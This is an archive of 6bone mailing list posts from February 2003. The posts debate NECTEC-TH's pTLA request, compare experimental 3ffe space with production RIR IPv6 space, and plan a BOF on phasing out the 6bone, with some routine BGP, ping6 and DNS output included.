	apnic announced that they've reserved /29 block for experimental use
	(1-year period, renewal required).  NECTEC-TH could get the block
	from the block.

itojun

From bob@thefinks.com Wed Feb 26 18:27:46 2003
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To: Ronald van der Pol <Ronald.vanderPol@rvdp.org>, 6bone@ISI.EDU
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Subject: Re: [6bone] meeting at SFO?
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Ronald,

At 08:48 PM 2/26/2003 +0100, Ronald van der Pol wrote:
>Bob,
>
>I think you were thinking about a 6BONE lunch meeting at SFO, but
>I cannot find the message anymore. I think we should set a date
>before everybody's slots are filled.

I had asked for a 6bone planning BOF agenda slot weeks ago, which Randy 
approved, but the secretariat has failed to get it on the agenda yet for 
some reason I don't know.

I will hold a lunchtime meeting if it misses the official agenda.

Assuming I'm not getting on the agenda, does anyone have a preference?


Thanks,

Bob 


From matrix@jade.miracle1.net Wed Feb 26 18:29:04 2003
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Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March 2003
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philip,
Correct me if I am wrong, but I believe requesting an sTLA from APNIC would come at a substantial cost to NECTEC just
for testing.. upwards of 10,000 if APNIC is anything like ARIN is...
Yes, it would, $2,500 - $5,000 according to the APNIC fee schedule <http://www.apnic.net/member/feesinfo.html> per
year.
Thanks,
Jeremy
VLINK Internet Systems, US
On Thu, Feb 27, 2003 at 11:44:01AM +1000, Philip Smith wrote:
> I'm generally curious why organisations which are members of the various 
> RIRs are still coming to request 6BONE address space. Global IPv6 address 
> space is global IPv6 address space, whether it comes from the 6bone, or in 
> this case, from APNIC, so I'm wondering why NECTEC feel that it is 
> necessary to comply with the 6bone rules rather than simply requesting 
> their IPv6 address block from APNIC under their existing APNIC membership. 
> Both address spaces will work on a testbed, the benefit of the RIR space 
> being that it is real, not experimental, and is unlikely to be withdrawn 
> when the 6bone experiment finishes in the future.
> 
> philip
> --
> 
> At 09:27 24/02/2003 -0800, Bob Fink wrote:
> >6bone Folk,
> >
> >NECTEC-TH has requested a pTLA allocation and I find their request fully 
> >compliant with RFC2772. The open review period for this will close 22 
> >January 2003. Please send your comments to me or the list.
> >
> ><<http://www.ipv6.nectec.or.th>http://www.ipv6.nectec.or.<http://www.ipv6.nectec.or.th>th>
> >
> >
> >Thanks,
> >
> >Bob
> >
> >===
> >>From: "NECTEC-IPv6" <ipv6@nectec.or.th>
> >>To: <bob@thefinks.com>
> >>Subject: pTLA request
> >>Date: Fri, 21 Feb 2003 09:33:40 +0700
> >>
> >>Dear Mr. Bob Fink,
> >>
> >>This letter is being written on behalf of
> >>   Thailand's IPv6 Testbed Project ,
> >>   Thai Social/Sciencetific Academic and Research Network ,
> >>   National Electronics and Computer Technology Center of Thailand
> >>
> >>to request pTLA allocation. Being qualified with RFC2772, please
> >>find details below :
> >>
> >>===============================================
> >>7. Guidelines for 6Bone pTLA sites
> >>
> >>    The following rules apply to qualify for a 6Bone pTLA allocation. It
> >>    should be recognized that holders of 6Bone pTLA allocations are
> >>    expected to provide production quality backbone network services for
> >>    the 6Bone.
> >>
> >>    1. The pTLA Applicant must have a minimum of three (3) months
> >>       qualifying experience as a 6Bone end-site or pNLA transit.  During
> >>       the entire qualifying period the Applicant must be operationally
> >>       providing the following:
> >>
> >>=>      Our testbed's connected to 6bone and launched since 9 August 2002.
> >>
> >>       a. Fully maintained, up to date, 6Bone Registry entries for their
> >>          ipv6-site inet6num, mntner, and person objects, including each
> >>          tunnel that the Applicant has.
> >>
> >>=> 
> >><http://whois.6bone.net/cgi-bin/whois?NECTEC-TH>http://whois.6bone.net/cgi-bin/whois?NECTEC-TH
> >>
> >>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
> >>          between the Applicant's boundary router and the appropriate
> >>          connection point into the 6Bone. This router must be IPv6
> >>          pingable. This criteria is judged by members of the 6Bone
> >>          Operations Group at the time of the Applicant's pTLA request.
> >>
> >>=> BGP4+ peering with regional and domestic 6bone's backbone
> >>sites : INET-TH, CERNET-CN, NBEN-TW, MIMOS-MY
> >>
> >> >sh bgp ipv6 sum
> >>Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ Up/Down
> >>State/PfxRcd
> >>3FFE:3200:1:1A::1
> >>                 4  4538   12902   27646    19481    0    0 1d08h          16
> >>3FFE:3600:2000:888::3640:7
> >>                 4  9681   29337   26177    19481    0    0 1d07h         236
> >>3FFE:400B:400B::8
> >>                 4  4618   21510   23789    19481    0    0 1w0d          415
> >>3FFE:80D0:FFFC:10::42
> >>                 4  2042   39314   17080    19481    0    0 1d19h         287
> >>
> >>=> Router, ep.ipv6.nectec.or.th, IPv6 pingable.
> >>PING6(56=40+8+8 bytes) 3ffe:8140:101:7::1 --> 3ffe:400b:400b::9
> >>16 bytes from 3ffe:400b:400b::9, icmp_seq=0 hlim=58 time=783.453 ms
> >>16 bytes from 3ffe:400b:400b::9, icmp_seq=1 hlim=58 time=817.015 ms
> >>16 bytes from 3ffe:400b:400b::9, icmp_seq=2 hlim=58 time=1435.44 ms
> >>16 bytes from 3ffe:400b:400b::9, icmp_seq=3 hlim=58 time=838.53 ms
> >>16 bytes from 3ffe:400b:400b::9, icmp_seq=4 hlim=58 time=1074.85 ms
> >>
> >>--- ep.ipv6.nectec.or.th ping6 statistics ---
> >>5 packets transmitted, 5 packets received, 0% packet loss
> >>round-trip min/avg/max/std-dev = 783.453/989.858/1435.441/245.416 ms
> >>
> >>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
> >>          entries for the Applicant's router(s) and at least one host
> >>          system.
> >>
> >>=> The current DNS server is  leo.ipv6.nectec.or.th maintaining both forward
> >>and reverse entries for ep.ipv6.nectec.or.th (router) and 
> >><http://www.ipv6.nectec.or.th>www.ipv6.nectec.or.th
> >>
> >>$ORIGIN ipv6.nectec.or.th.
> >>@                       1D IN SOA       leo root.leo (
> >>                                         2002101001      ; serial
> >>                                         8H              ; refresh
> >>                                         2H              ; retry
> >>                                         1W              ; expiry
> >>                                         1D )            ; minimum
> >>
> >>                         1D IN NS        leo
> >>
> >>ep                      1D IN AAAA      3ffe:400b:400b::9
> >>                         1D IN A         203.185.132.158
> >>www                     1D IN CNAME     leo
> >>leo                     1D IN AAAA      3ffe:400b:6003::9
> >>                         1D IN A         203.185.132.132
> >>
> >>=> Reverse DNS Delegation :
> >>$ dig -t any 3.0.0.6.b.0.0.4.e.f.f.3.ip6.int @rns1.v6.inet.co.th
> >>
> >>; <<>> DiG 8.3 <<>> -t 3.0.0.6.b.0.0.4.e.f.f.3.ip6.int @rns1.v6.inet.co.th
> >>; (1 server found)
> >>;; res options: init recurs defnam dnsrch
> >>;; got answer:
> >>;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6
> >>;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
> >>;; QUERY SECTION:
> >>;;      3.0.0.6.b.0.0.4.e.f.f.3.ip6.int, type = ANY, class = IN
> >>
> >>;; AUTHORITY SECTION:
> >>3.0.0.6.b.0.0.4.e.f.f.3.ip6.int.  12H IN NS  leo.ipv6.nectec.or.th.
> >>
> >>;; ADDITIONAL SECTION:
> >>leo.ipv6.nectec.or.th.  4h32m34s IN A   203.185.132.132
> >>
> >>;; Total query time: 51 msec
> >>;; FROM: leo.ipv6.nectec.or.th to SERVER: rns1.v6.inet.co.th  203.150.14.111
> >>;; WHEN: Fri Jan 31 11:26:55 2003
> >>;; MSG SIZE  sent: 49  rcvd: 100
> >>
> >>       d. A fully maintained, and reliable, IPv6-accessible system
> >>          providing, at a mimimum, one or more web pages, describing the
> >>          Applicant's IPv6 services.  This server must be IPv6 pingable.
> >>
> >>=> <http://www.ipv6.nectec.or.th>http://www.ipv6.nectec.or.th --v4/v6 
> >>accessible
> >>
> >>=> The result of ping6 <http://www.ipv6.nectec.or.th>www.ipv6.nectec.or.th
> >>PING6(56=40+8+8 bytes) 3ffe:8140:101:7::1 --> 3ffe:400b:6003::9
> >>16 bytes from 3ffe:400b:6003::9, icmp_seq=0 hlim=57 time=679.311 ms
> >>16 bytes from 3ffe:400b:6003::9, icmp_seq=1 hlim=57 time=1159.21 ms
> >>16 bytes from 3ffe:400b:6003::9, icmp_seq=2 hlim=57 time=655.809 ms
> >>16 bytes from 3ffe:400b:6003::9, icmp_seq=3 hlim=57 time=876.863 ms
> >>
> >>    2. The pTLA Applicant MUST have the ability and intent to provide
> >>       "production-quality" 6Bone backbone service. Applicants must
> >>       provide a statement and information in support of this claim.
> >>       This MUST include the following:
> >>
> >>       a. A support staff of two persons minimum, three preferable, with
> >>          person attributes registered for each in the ipv6-site object
> >>          for the pTLA applicant.
> >>
> >>=> TB6-6BONE,
> >>      CC8-6BONE,
> >>      PT4-6BONE
> >>
> >>       b. A common mailbox for support contact purposes that all support
> >>          staff have acess to, pointed to with a notify attribute in the
> >>          ipv6-site object for the pTLA Applicant.
> >>
> >>=> <mailto:ipv6@nectec.or.th>ipv6@nectec.or.th
> >>
> >>    3. The pTLA Applicant MUST have a potential "user community" that
> >>       would be served by its becoming a pTLA, e.g., the Applicant is a
> >>       major provider of Internet service in a region, country, or focus
> >>       of interest. Applicant must provide a statement and information in
> >>       support this claim.
> >>
> >>=> The Thailand's IPv6 Testbed project was formally established in October
> >>2001, under the management of Thai Social/Science Academic and Research
> >>  Network (ThaiSARN-3) project 
> >> (<http://www.thaisarn.net.th>http://www.thaisarn.net.th),
> >>  National Electronics and Computer Technology Center
> >>(<http://www.nectec.or.th>http://www.nectec.or.th).
> >>With a mission to promote the next generation Internet in the country,
> >>this project is proposed in order to establish national IPv6 gateway and
> >>provide IPv6 testing services to support research and experimentally
> >>operational activities towards development of IPv6-related technologies
> >>and IPv6-ready networks for all Thai public.
> >>
> >>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
> >>       operational rules and policies as they exist at time of its
> >>       application, and agree to abide by future 6Bone backbone
> >>       operational rules and policies as they evolve by consensus of the
> >>       6Bone backbone and user community.
> >>
> >>=> We commit to abide by present and future operational rules and policies
> >>      of 6Bone backbone and user community.
> >>
> >>    When an Applicant seeks to receive a pTLA allocation, it will apply
> >>    to the 6Bone Operations Group (see section 8 below) by providing to
> >>    the Group information in support of its claims that it meets the
> >>    criteria above.
> >>
> >>===================
> >>
> >>Thank you
> >>Thailand's IPv6 Testbed
> >
> >_______________________________________________
> >6bone mailing list
> >6bone@mailman.isi.edu
> >http://mailman.isi.edu/mailman/listinfo/6bone
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

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Date: Wed, 26 Feb 2003 18:40:33 -0800
To: Philip Smith <pfs@cisco.com>
From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March
  2003
Cc: 6BONE List <6bone@mailman.isi.edu>, "NECTEC-IPv6" <ipv6@nectec.or.th>
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Philip,

At 11:44 AM 2/27/2003 +1000, Philip Smith wrote:
>I'm generally curious why organisations which are members of the various 
>RIRs are still coming to request 6BONE address space. Global IPv6 address 
>space is global IPv6 address space, whether it comes from the 6bone, or in 
>this case, from APNIC, so I'm wondering why NECTEC feel that it is 
>necessary to comply with the 6bone rules rather than simply requesting 
>their IPv6 address block from APNIC under their existing APNIC membership. 
>Both address spaces will work on a testbed, the benefit of the RIR space 
>being that it is real, not experimental, and is unlikely to be withdrawn 
>when the 6bone experiment finishes in the future.

Before I put a pTLA request out for review I ask the requester why they 
aren't getting a production prefix. Generally it boils down to wanting to 
try IPv6 services without committing to a production prefix, sometime for 
cost reasons, sometimes for organizational reasons.

If the reply seems plausible/reasonable to me, I then put the request out 
for review. In the case of NECTEC-TH, they replied:

>1. Why are you not applying for a production IPv6 prefix from APNIC?
>because our mission is to deploy IPv6 for testing purpose only. In fact,
>NECTEC has another division named GITS, providing commercial services
>for Thai goverment agencies. However, it is operated with their own
>policy and NOC. Applying for production IPv6 address on behalf of all
>NECTEC (not just Thailand's IPv6 testbed research project like us) must
>be directly in charge of them as well. Yet they are still very new to
>IPv6 and want us to help study and build up know-how. But at the same
>time, we can't set our scope only to furnish IPv6 for GITS but also for
>outside NECTEC, any domestic organizations with TESTING purposes
>according to our project's goal.

As an aside, I don't believe anyone would contend that recent pTLA holders 
(i.e., last several years) couldn't do what they wanted with a production 
prefix. Yet there does seem to be a need for other than production 
prefixes. As Itojun pointed out, there is also a plan for RIR delegated 
experimental prefixes, at least from APNIC. This might work for some folk 
as well.


Bob 


From michel@arneill-py.sacramento.ca.us Wed Feb 26 19:03:40 2003
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Bob,

> Bob Fink wrote:
> I had asked for a 6bone planning BOF agenda slot weeks ago,
> which Randy approved, but the secretariat has failed to get
> it on the agenda yet for some reason I don't know.
> I will hold a lunchtime meeting if it misses the official
> agenda. Assuming I'm not getting on the agenda, does anyone
> have a preference?

Nope, but please let me know a little in advance if I have to provide
the projector like I did in Atlanta.

Michel.


From pfs@cisco.com Wed Feb 26 19:57:14 2003
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Date: Thu, 27 Feb 2003 13:48:10 +1000
To: Bill Manning <bmanning@ISI.EDU>
From: Philip Smith <pfs@cisco.com>
Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March
   2003
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At 17:58 26/02/2003 -0800, Bill Manning wrote:
>         one reason is that is is much easier to delineate experimental
>         activities from things that may be more persistant.

I'm curious to know what feature of 3ffe::/16 space makes it suitable for 
experiments and makes 2001::/16 not suitable for experiments. Both are 
globally routable, aren't they? Or are we thinking of disconnecting the 
IPv6 experimental testbed (the 6bone) from the part of the IPv6 Internet 
which is using 2001::/16 space? Can't folks just use filters if they don't 
want the experimental bits to leak out into the rest of the net?

:-)

philip
--


>% I'm generally curious why organisations which are members of the various
>% RIRs are still coming to request 6BONE address space. Global IPv6 address
>% space is global IPv6 address space, whether it comes from the 6bone, or in
>% this case, from APNIC, so I'm wondering why NECTEC feel that it is
>% necessary to comply with the 6bone rules rather than simply requesting
>% their IPv6 address block from APNIC under their existing APNIC membership.
>% Both address spaces will work on a testbed, the benefit of the RIR space
>% being that it is real, not experimental, and is unlikely to be withdrawn
>% when the 6bone experiment finishes in the future.


From pfs@cisco.com Wed Feb 26 20:07:17 2003
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Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March
  2003
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Hi Bob,

At 18:40 26/02/2003 -0800, Bob Fink wrote:
>Before I put a pTLA request out for review I ask the requester why they 
>aren't getting a production prefix. Generally it boils down to wanting to 
>try IPv6 services without committing to a production prefix, sometime for 
>cost reasons, sometimes for organizational reasons.

I can see there being a cost implication for a non-RIR member, but for an 
existing RIR member? I'm just wondering if the RIRs maybe need to do more 
publicity to their membership about the availability of production v6 space 
(I somehow doubt this), or, as I just mentioned to Bill, there is something 
special about 3ffe::/16 which can't be satisfied by production space.

BTW, I am definitely not suggesting denying NECTEC their request, just 
curious to understand what technical differences exist between 3ffe::/16 
and 2001::/16 space which causes them as an APNIC member to not simply get 
their space from APNIC. APNIC allows people to return production space (as 
they do for IPv4 space), and production space can be used for trying things 
out (as we know in IPv4-land).

philip
--


From bmanning@ISI.EDU Wed Feb 26 20:56:03 2003
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Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March 2003
In-Reply-To: <20030227021115.95C624B24@coconut.itojun.org> from "itojun@iijlab.net" at "Feb 27, 3 11:11:15 am"
To: itojun@iijlab.net
Date: Wed, 26 Feb 2003 20:55:48 -0800 (PST)
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   ipv6@nectec.or.th
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% >% Both address spaces will work on a testbed, the benefit of the RIR space 
% >% being that it is real, not experimental, and is unlikely to be withdrawn 
% >% when the 6bone experiment finishes in the future.
% >	one reason is that is is much easier to delineate experimental
% >	activities from things that may be more persistant.
% 
% 	apnic announced that they've reserved /29 block for experimental use
% 	(1-year period, renewal required).  NECTEC-TH could get the block
% 	from the block.

	true.  on inspection however, its fairly easy to discriminate
	btwn:
			3ffe::
			2001:0dxx:zzzz::

	as experimental or production nee "real"  (I hate that term...:)


--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From bmanning@ISI.EDU Wed Feb 26 21:28:29 2003
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Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March   2003
In-Reply-To: <5.1.0.14.2.20030227134118.00b25768@pfs-pc.cisco.com> from Philip Smith at "Feb 27, 3 01:48:10 pm"
To: pfs@cisco.com (Philip Smith)
Date: Wed, 26 Feb 2003 21:28:16 -0800 (PST)
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% At 17:58 26/02/2003 -0800, Bill Manning wrote:
% >         one reason is that is is much easier to delineate experimental
% >         activities from things that may be more persistant.
% 
% I'm curious to know what feature of 3ffe::/16 space makes it suitable for 
% experiments and makes 2001::/16 not suitable for experiments. Both are 
% globally routable, aren't they? Or are we thinking of disconnecting the 
% IPv6 experimental testbed (the 6bone) from the part of the IPv6 Internet 
% which is using 2001::/16 space? Can't folks just use filters if they don't 
% want the experimental bits to leak out into the rest of the net?
% 
% :-)
% 
% philip
% --

	answers:  yes
		  not even
		  yes

	counter-question:  which bits of 2001::/16 are experimental in
	nature?  on simple examinination, its not nearly as easy to 
	discriminate the commodity bits vs experimental delegations w/o
	a great deal more local RIR knowledge. (witness the lack of 
	understanding about the APNIC documentation prefix from the rest
	of the world)

	however even the most expert can determine the difference between
	a route that starts w/ 2001 vs a route that starts with 3ffe.
	filters on that level are arguably easier to maintain.

--bill

--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From alvaro.vives@consulintel.es Thu Feb 27 01:27:26 2003
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Subject: Re: [6bone] vic&rat ov ipv6 multicast
Date: Thu, 27 Feb 2003 10:27:01 +0100
Organization: Consullintel
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Hi Emanuele,

Maybe you can try your question on the M6Bone mailing list (M states for
Multicast).

https://listes.renater.fr/wws

If I'm not wrong you have to send "sub m6bone" (without quotes) to
sympa@ml.renater.fr , does enybody  knows if It's right?

Regards,
Alvaro.
----- Original Message -----
From: "Lo Galbo Emanuele" <Emanuele.Logalbo@TILAB.COM>
To: <6bone@ISI.EDU>
Sent: Wednesday, February 26, 2003 10:15 AM
Subject: [6bone] vic&rat ov ipv6 multicast


> Hi all,
> I have configured a multicast ipv6 testbed using freebsd 4.7 routers.Now I
would like to try using vic rat for multicast.One of the things I must care
about them is ths PC must be in  IPv6 DNS.I would like to use these tools in
a LAN and I don't have a DNS server so what do I need?
> Another question.I don't understand how I can manage multicast IPv6
group:in windows 2000 I tried to assign to my hosts multicast addresses and
unicast addresses to the same interface but it is not possible.So How can I
proceede fixing and managing multicast groups for vic and rat applications?
> I hope you will help me.
> Thanks in advance and Best Regards.
>
>
> ====================================================================
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>

*********************************
Madrid 2003 Global IPv6 Summit
12-14 May 2003 - Pre-register at:
http://www.ipv6-es.com
Interested in participating or sponsoring ?
Contact us at ipv6@consulintel.es



From mele@cartel-securite.fr Thu Feb 27 06:04:53 2003
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From: "Laurent Mele" <mele@cartel-securite.fr>
To: <6bone@ISI.EDU>
Subject: RE : [6bone] pTLA request by NECTEC-TH - review closes 10 March   2003
Date: Thu, 27 Feb 2003 15:04:44 +0100
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Hi there,

See from my side, I ask for a pTLA instead of a sTLA because of RIPE
Allocation and Assignement policy for IPV6.
Actually I try to promote ipv6 to my customers but i am not sure that
(at least) 200 customers will take me a /48 allocation in the 2 years.
As I still need many /48 (and a full bgp peering with more than 2 peers
that I'll start as soon as I have an allocation), I ask for a pTLA. I
wan't to build a serious V6 network but I am not big enough (Or not liar
enough ( I do not charge anybody !!!)) to fullfill Ripe criterias. I
want to be sure before asking Ripe for a sTLA.

Regards,

My english is bad, I know it :-)

-----Message d'origine-----
De : 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu] De
la part de Philip Smith
Envoyé : jeudi 27 février 2003 04:48
À : Bill Manning
Cc : bob@thefinks.com; 6bone@ISI.EDU; ipv6@nectec.or.th
Objet : Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March
2003

At 17:58 26/02/2003 -0800, Bill Manning wrote:
>         one reason is that is is much easier to delineate experimental
>         activities from things that may be more persistant.

I'm curious to know what feature of 3ffe::/16 space makes it suitable
for 
experiments and makes 2001::/16 not suitable for experiments. Both are 
globally routable, aren't they? Or are we thinking of disconnecting the 
IPv6 experimental testbed (the 6bone) from the part of the IPv6 Internet

which is using 2001::/16 space? Can't folks just use filters if they
don't 
want the experimental bits to leak out into the rest of the net?

:-)

philip
--


>% I'm generally curious why organisations which are members of the
various
>% RIRs are still coming to request 6BONE address space. Global IPv6
address
>% space is global IPv6 address space, whether it comes from the 6bone,
or in
>% this case, from APNIC, so I'm wondering why NECTEC feel that it is
>% necessary to comply with the 6bone rules rather than simply
requesting
>% their IPv6 address block from APNIC under their existing APNIC
membership.
>% Both address spaces will work on a testbed, the benefit of the RIR
space
>% being that it is real, not experimental, and is unlikely to be
withdrawn
>% when the 6bone experiment finishes in the future.

_______________________________________________
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From nicolas.deffayet@ndsoftware.net Thu Feb 27 06:36:08 2003
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Subject: Re: [6bone] vic&rat ov ipv6 multicast
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Alvaro Vives <alvaro.vives@consulintel.es>
Cc: 6bone@ISI.EDU
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On Thu, 2003-02-27 at 10:27, Alvaro Vives wrote:
Hi Alvaro,

> Maybe you can try your question on the M6Bone mailing list (M states for
> Multicast).
> 
> https://listes.renater.fr/wws

https://listes.renater.fr/wws/info/m6bone

> If I'm not wrong you have to send "sub m6bone" (without quotes) to
> sympa@ml.renater.fr , does enybody  knows if It's right?

It's not "sub m6bone" (without quotes), it's "subscribe m6bone" (without
quotes). You can subscribe with the web interface: 
https://listes.renater.fr/wws/subrequest/m6bone

Best Regards,

----------------------------------------------------------
French reader: don't forget the IPv6 FRnOG meeting !
(Vendredi 28 Février 2003 (14h00-17h00) à Paris)
URL (in french):
http://www.frnog.org/meetings.php?lang=en&page=programme
----------------------------------------------------------


-- 
Nicolas DEFFAYET, NDSoftware
NDSoftware NOC: http://noc.ndsoftwarenet.com/
FNIX6 (French National Internet Exchange IPv6): http://www.fnix6.net/
EuroNOG: http://www.euronog.org/


From bob@thefinks.com Thu Feb 27 08:25:59 2003
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Date: Thu, 27 Feb 2003 08:24:36 -0800
To: Philip Smith <pfs@cisco.com>
From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March
  2003
Cc: 6BONE List <6bone@mailman.isi.edu>, "NECTEC-IPv6" <ipv6@nectec.or.th>
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Philip,

At 01:58 PM 2/27/2003 +1000, Philip Smith wrote:
>Hi Bob,
>
>At 18:40 26/02/2003 -0800, Bob Fink wrote:
>>Before I put a pTLA request out for review I ask the requester why they 
>>aren't getting a production prefix. Generally it boils down to wanting to 
>>try IPv6 services without committing to a production prefix, sometime for 
>>cost reasons, sometimes for organizational reasons.
>
>I can see there being a cost implication for a non-RIR member, but for an 
>existing RIR member? I'm just wondering if the RIRs maybe need to do more 
>publicity to their membership about the availability of production v6 
>space (I somehow doubt this), or, as I just mentioned to Bill, there is 
>something special about 3ffe::/16 which can't be satisfied by production space.

There are differences between the RIRs and what and how they charge.

There isn't anything different about the 3FFE prefix these days (now that 
production prefixes are available) other than they can be gotten for early 
trials and for free. This is not to undercut the RIRs (this has all existed 
for 7 years now, well before the RIRs handed out v6 prefixes) rather to 
make sure there is an early environment for trying out (often called 
testing and experimentation) IPv6. We all too often focus on this being 
free to the pTLA holder, but the greater reality is the no cost method it 
provides to the downstream users of these pTLAs.

That is, there are many thousands of user end-sites, and some intermediate 
networks, that are able to try out IPv6 without having to search out a 
production IPv6 vendor (and there are still very few), make a contract with 
them, and pay real money that is often not available at this stage. A good 
example of this are the various automatic tunnelling sites (like Viagenie 
et al) that serve many many users with no special arrangements or costs 
other than setting up the service for the user. These uses are meritorious 
at this very early stage of IPv6.

When it is reasonable to end the 6bone service is being determined as we 
speak through the 6bone phaseout planning discussions. It does need to end 
sometime, but we want to make sure it doesn't go away until it isn't needed 
during the early deployment stage (that we are at now).


>BTW, I am definitely not suggesting denying NECTEC their request, just 
>curious to understand what technical differences exist between 3ffe::/16 
>and 2001::/16 space which causes them as an APNIC member to not simply get 
>their space from APNIC. APNIC allows people to return production space (as 
>they do for IPv4 space), and production space can be used for trying 
>things out (as we know in IPv4-land).

Can't comment on that.


Thanks,

Bob 


From bob@thefinks.com Thu Feb 27 14:02:01 2003
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Subject: [6bone] 6bone transitions planning BOF in San Francisco
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6bone Folk,

Looks like we are on the official agenda for a one hour 6bone transition 
planning BOF on Tuesday, March 18, 1700-1800 Afternoon Sessions IV.

Note that we are somewhat constrained to the agenda below as the 6bone 
doesn't fit the IETF model for a BOF unless there is some new activity. 
I.e., we aren't being given this hour to discuss operational problems, 
changes to our operating procedures, etc., rather to discuss the plan for 
our transitions.

The agenda I provided to the IESG for approval, and the one that was 
accepted, is:

===
BOF FULL NAME: 6bone Transitions Planning (6bone)

AREA: Operations - Randy Bush

CHAIR: Jordi Palet Martinez <jordi.palet@consulintel.es>

FULL DESCRIPTION:

The 6bone, the IPv6 testbed network developed under the aegis of the IETF 
in 1996, is now discussing two important transition topics that need to be 
discussed further in a session at IETF-56. The transfer of 6bone address 
management responsibilities to RIRs has been under discussion during 2002 
and there now needs to be some closure on the topic. An open meeting at 
IETF-56 will facilitate this.  Also, the planning for the phaseout of the 
6bone started in January 2003 and thus needs its first open discussion at 
IETF-56.

AGENDA:

Status and discussion of the proposal for the "transfer of 6bone address 
management responsibilities to RIRs" - Bob Fink and appropriate RIR folk, 
30 minutes
<http://www.6bone.net/ngtrans/IETF-54-Yokohama/6bone-registry.pdf>

Presentation of the 6bone phaseout plan - Bob Hinden, 10 mins
<http://www.ietf.org/internet-drafts/draft-fink-6bone-phaseout-00.txt>

Discussion of the 6bone phaseout plan - 20 mins
===

My thanks to Jordi for chairing and Bob Hinden for presenting on phaseout 
planning as the IESG wanted me to not be the chair and the only speaker.



Thanks,

Bob


From todd@shadow.fries.net Thu Feb 27 14:51:40 2003
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Date: Thu, 27 Feb 2003 16:49:07 -0600
From: "Todd T. Fries" <todd@fries.net>
To: Bob Fink <bob@thefinks.com>
Cc: 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] 6bone transitions planning BOF in San Francisco
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I cannot be there, but I find it disturbing that in 3 short years I will
no longer be able to connect to the 6bone.  I presume that by that time
tunnel providers (such as www.freenet6.net) will have migrated their
users over to real addresses?

Or do I really need to start pressuring my upstreams to provide ipv6
connectivity?
-- 
Todd Fries .. todd@fries.net

I'm available for hire!  http://todd.fries.net/resume.html

(last updated 2003/01/02 02:08:59)

Penned by Bob Fink on Thu, Feb 27, 2003 at 02:01:50PM -0800, we have:
| 6bone Folk,
| 
| Looks like we are on the official agenda for a one hour 6bone transition 
| planning BOF on Tuesday, March 18, 1700-1800 Afternoon Sessions IV.
| 
| Note that we are somewhat constrained to the agenda below as the 6bone 
| doesn't fit the IETF model for a BOF unless there is some new activity. 
| I.e., we aren't being given this hour to discuss operational problems, 
| changes to our operating procedures, etc., rather to discuss the plan for 
| our transitions.
| 
| The agenda I provided to the IESG for approval, and the one that was 
| accepted, is:
| 
| ===
| BOF FULL NAME: 6bone Transitions Planning (6bone)
| 
| AREA: Operations - Randy Bush
| 
| CHAIR: Jordi Palet Martinez <jordi.palet@consulintel.es>
| 
| FULL DESCRIPTION:
| 
| The 6bone, the IPv6 testbed network developed under the aegis of the IETF 
| in 1996, is now discussing two important transition topics that need to be 
| discussed further in a session at IETF-56. The transfer of 6bone address 
| management responsibilities to RIRs has been under discussion during 2002 
| and there now needs to be some closure on the topic. An open meeting at 
| IETF-56 will facilitate this.  Also, the planning for the phaseout of the 
| 6bone started in January 2003 and thus needs its first open discussion at 
| IETF-56.
| 
| AGENDA:
| 
| Status and discussion of the proposal for the "transfer of 6bone address 
| management responsibilities to RIRs" - Bob Fink and appropriate RIR folk, 
| 30 minutes
| <http://www.6bone.net/ngtrans/IETF-54-Yokohama/6bone-registry.pdf>
| 
| Presentation of the 6bone phaseout plan - Bob Hinden, 10 mins
| <http://www.ietf.org/internet-drafts/draft-fink-6bone-phaseout-00.txt>
| 
| Discussion of the 6bone phaseout plan - 20 mins
| ===
| 
| My thanks to Jordi for chairing and Bob Hinden for presenting on phaseout 
| planning as the IESG wanted me to not be the chair and the only speaker.
| 
| 
| 
| Thanks,
| 
| Bob
| 
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone

From dan@reeder.name Thu Feb 27 15:13:43 2003
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From: "Dan Reeder" <dan@reeder.name>
To: "Bob Fink" <bob@thefinks.com>
Cc: <6bone@mailman.isi.edu>
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Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March  2003
Date: Fri, 28 Feb 2003 09:13:39 +1000
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> When it is reasonable to end the 6bone service is being determined as we
> speak through the 6bone phaseout planning discussions. It does need to end
> sometime, but we want to make sure it doesn't go away until it isn't
needed
> during the early deployment stage (that we are at now).

That raises the question: are we able to force the RIRs to offer globally
routable FREE production space for the purposes of testing? If not, would
there be any incentive for carriers / ISPs to offer their clients free
testing space?

If not then i think 3ffe will remain around for a much longer time than we
had all hoped.

Dan
----- Original Message -----
From: "Bob Fink" <bob@thefinks.com>
To: "Philip Smith" <pfs@cisco.com>
Cc: "6BONE List" <6bone@mailman.isi.edu>; "NECTEC-IPv6" <ipv6@nectec.or.th>
Sent: Friday, February 28, 2003 2:24 AM
Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March 2003


> Philip,
>
> At 01:58 PM 2/27/2003 +1000, Philip Smith wrote:
> >Hi Bob,
> >
> >At 18:40 26/02/2003 -0800, Bob Fink wrote:
> >>Before I put a pTLA request out for review I ask the requester why they
> >>aren't getting a production prefix. Generally it boils down to wanting
to
> >>try IPv6 services without committing to a production prefix, sometime
for
> >>cost reasons, sometimes for organizational reasons.
